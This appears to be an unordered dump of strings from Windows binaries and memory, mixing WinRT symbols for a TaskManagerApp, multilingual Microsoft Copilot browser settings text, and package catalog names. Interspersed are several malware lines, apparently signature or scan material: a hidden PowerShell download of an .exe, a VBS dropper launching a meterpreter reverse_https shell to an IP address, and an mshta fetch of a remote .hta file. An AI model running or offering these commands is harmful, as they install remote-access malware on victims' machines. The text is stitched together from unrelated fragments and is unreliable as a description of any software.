.?AU?$produce@Uiterator@?$iterable_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@Uhstring@3@Ucollection_version@23@@winrt@@U?$IIterator@Uhstring@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AUtype@?$abi@U?$IIterator@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements@Uiterator@?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@winrt@@
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Uwindowstylehidden-commandspreview.exe;(new-objectsystem.net.webclient).downloadfile('https://www.tequilacofradiamx.com/tysshdyjtujfrthygfvsuyriifriruteietutteytejtujeujyejtjet/syjsdjyjdyjuktkfukftukdtujdtydyjduyjtdujdujdtujdftu/drtyrsytheyshyy/dqtbsbi.exe','
numIllegalWindowsItemName
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
 fylle ut passord. Skriv inn Windows-passordet for 
.?AU?$produce@UHomePage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UHomePage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UHomePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UHomePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UHomePage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UHomePage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UHomePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UHomePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UHomePage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UHomePage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UHomePage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UHomePage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides2@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
("setobjshell=wscript.createobject(""wscript.shell"")")("command=""c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-nop-noexit-ciex((new-objectnet.webclient)downloadstring('https://raw.githubusercontent.com/enigma0x3/generate-macro/master/generate-macro.ps1'))invoke-shellcode-payloadwindows/meterpreter/reverse_https-lhost172.19.240.124-lport1234-force""")writeline("objshell.runcommand,0")wscriptc:\users\public\config.vbsTrojan:PDF/Phish.KR!MTB
 filedelete(@windowsdir&
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Software\Microsoft\Windows\CurrentVersion\Uninstall\frsteinstanser\blomkaalssvampes\physiognomically\toveS
main.primer_pasomain.un_zipmain.procesarmain.mostrar_progresomain.obtener_zip.func1C:/windows_update/main.go
windows\vss/c"powershellstartmshtahttp://91.92.248.50/downloads/ncr.hta
Microsoft-OneCore-EventLog-Api-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Kernel-Package-BootEnvironment-Strings-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
dwMaximumWindowSize
System.Runtime.InteropServices.WindowsRuntime.IBindableVector.IndexOf
System.Runtime.InteropServices.WindowsRuntime.IBindableVectorView.IndexOf
i parola Windows pentru a permite acest lucru.Microsoft Copilot 
i parola Windows pentru a permite acest lucru.Microsoft Copilot 
i parola Windows pentru a permite acest lucru.Microsoft Copilot 
i parola Windows pentru a permite acest lucru.Microsoft Copilot dore
i parola Windows pentru a permite acest lucru.Microsoft Copilot 
i parola Windows pentru a permite acest lucru.Microsoft Copilot dore
i parola Windows pentru a permite acest lucru.Microsoft Copilot 
i parola Windows pentru a permite acest lucru.Acest computer are deja o versiune mai recent
 Windows 10 sau o versiune ulterioar
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND in your firewall or antivirus
default$windows.data.donotdisturb.quiethoursprofile$quiethoursprofilelist|windows.data.donotdisturb.quiethoursprofile$microsoft.quiethoursprofile.priorityonly
default$windows.data.input.text.roamingdictionary|windows.data.input.text.roamingdictionary
default$windows.data.donotdisturb.quiethourssettings|windows.data.donotdisturb.quiethourssettings
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentemergency
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentfocus
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentpostoobe
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentpresentation
s-microsoft-com:windows:store:ln
(@Microsoft-Windows-Security-SPPX
(@Microsoft-Windows-Security-SPP@
VCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
DriverData=C:\Windows\System32\
windows/browser/edge/actions
windows/browser/edge/service/navigate/4
windows/shell/telemetry
windows/browser/edge/telemetry
Microsoft/Windows/Safety
.WindowsTerminalPreview_8wekyb3d8bbweM
evens bekijken en beheren, bijvoorbeeld je bladwijzers, geschiedenis en wachtwoorden. Er zijn geen browsegegevens zichtbaar in andere Microsoft Copilot-profielen.Kies voor de sterkste beveiliging van Microsoft CopilotJe bestand is geopend voor snelle en gemakkelijk weergave in Microsoft Copilot. Kies Bestand downloaden als je het later wilt gebruiken.Microsoft Copilot probeert wachtwoorden in te vullen. Typ je Windows-wachtwoord om dit toe te staan.copilot-updateMicrosoft Copilot-updateserviceInterne Microsoft Copilot-updateserviceHoudt je Microsoft Copilot-software up-to-date. Als deze service is uitgeschakeld of gestopt, wordt je Microsoft Copilot-software niet up-to-date gehouden. Dit betekent dat mogelijke beveiligingsproblemen niet kunnen worden opgelost en dat functies mogelijk niet werken.Microsoft Copilot voor bedrijvenTo cast with a code, turn on Microsoft Copilot's sync settingsCustomize your Microsoft CopilotTo sign in to Microsoft Copilot with an additional email account, add a profile.You've signed out of your account from a website, so we've signed you out of Microsoft Copilot. Sign in to sync your browsing data across devices.Your Microsoft Copilot application may not be fully functional until you sign in againThe Microsoft Copilot team has been notified of this issue. Please try again later.You may have a network capture tool open, so Microsoft Copilot can't sign you in right now. Please close the tool and sign in again. Error code: $1Sign in is not supported when running Microsoft Copilot as an administrator. Please relaunch Microsoft Copilot as a non-administrator and try signing in again.Microsoft Copilot sign in requires the latest version of WebView2 to be installed on this device. Please install it and try signing in again.The account you're trying to sign into belongs to a sovereign cloud that Microsoft Copilot doesn't support yet. Please try again with another account.Favorites, history, and other stuff will not be saved when you close the application.Assistance from Microsoft CopilotSign in to Microsoft CopilotYou are now signed in to Microsoft CopilotMicrosoft Copilot will use this profile to automatically sign in to this site each time visit.Sign into Microsoft Copilot, get signed in everywhere.Automatically sign in to this site and other Microsoft sites when you sign in to Microsoft Copilot.Microsoft Copilot can check if your passwords were part of a data breach.When this setting is on, Microsoft Copilot detects the language on your webpage and offers to translate if the language detected is not listed under Preferred languages. The webpage text will be sent to Microsoft Translator service for translation, where the text is stored for service improvements. Learn more about how the Microsoft Translator service uses your data .Some settings were corrupted by another program so Microsoft Copilot reset them to their default values.Let Microsoft Copilot choose when sites can play sound (recommended)When you sign out, changes you make to favorites, history, passwords, and other settings will not be synced to your Microsoft account. To sync this device again, sign in to Microsoft Copilot as .Don
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
windows.data.donotdisturb.quietmoment
windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
(@windows.data.donotdisturb.quietmoment
windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
(@windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
windows.data.donotdisturb.quietmoment
(@windows.data.donotdisturb.quietmoment
windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
(@windows.data.donotdisturb.quietmoment
(@windows.data.donotdisturb.quietmoment
windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Network-Security-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
Microsoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|.
system32\backgroundTaskHost.exe" -ServerName:Global.RulesEngine.AppXgphnekvm0vv49drvfehh4b6kyf6ckafp.mca
system32\backgroundTaskHost.exe" -ServerName:Global.RulesEngine.AppXgphnekvm0vv49drvfehh4b6kyf6ckafp.mca
system32\backgroundTaskHost.exe" -ServerName:WebExperienceHost.AppXt2rk6m02ana976jna04hdq35jfnzy7f7.mca
system32\backgroundTaskHost.exe" -ServerName:WebExperienceHost.AppXt2rk6m02ana976jna04hdq35jfnzy7f7.mca
system32\backgroundTaskHost.exe" -ServerName:WebExperienceHost.AppXt2rk6m02ana976jna04hdq35jfnzy7f7.mca
0 system32\backgroundTaskHost.exe" -ServerName:WebExperienceHost.AppXt2rk6m02ana976jna04hdq35jfnzy7f7.mca
Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll
WindowsGetStringLen
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.6
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.7
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
ingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
 .startinfo.windowstyle
system32\
dows\system32\win
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
(@windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @Windows.Data.DoNotDisturb.BoolWithMetadata
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
(@windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @Windows.Data.DoNotDisturb.QuietMoment
(@windows.data.donotdisturb.quietmoment
windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
,@windows.data.donotdisturb.quietmoment
windows.data.donotdisturb.quietmoment
 @Windows.Data.DoNotDisturb.BoolWithMetadata
 @windows.data.donotdisturb.quietmoment
(@windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
 @Windows.Data.DoNotDisturb.QuietMoment
 @windows.data.donotdisturb.quietmoment
 @windows.data.donotdisturb.quietmoment
/Windows/Discord/
\\Windows\\UUS\\
Microsoft.Windows.Print.Sandbox
Microsoft.Windows.Print.PerfLib
windowsudk.shellcommon.dll
ExitWindows
tn@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UNavigationView@Controls@Xaml@UI@Microsoft@winrt@@UNavigationViewPaneClosingEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_4>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UNavigationView@Controls@Xaml@UI@Microsoft@winrt@@UIInspectable@Foundation@Windows@6@@Foundation@Windows@winrt@@V<lambda_5>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UNavigationView@Controls@Xaml@UI@Microsoft@winrt@@UNavigationViewPaneClosingEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_4>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_3>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UNavigationView@Controls@Xaml@UI@Microsoft@winrt@@UIInspectable@Foundation@Windows@6@@Foundation@Windows@winrt@@V<lambda_3>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UNavigationView@Controls@Xaml@UI@Microsoft@winrt@@UNavigationViewPaneClosingEventArgs@23456@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UNavigationView@Controls@Xaml@UI@Microsoft@winrt@@UIInspectable@Foundation@Windows@6@@Foundation@Windows@winrt@@V<lambda_3>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_2>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_2>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UNavigationView@Controls@Xaml@UI@Microsoft@winrt@@UIInspectable@Foundation@Windows@6@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_2>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_1>@?4??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@UPointerEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_6>@?6??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_1>@?4??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UE
WINDOWS11
'PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
WINDOWS11
WINDOWS11
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
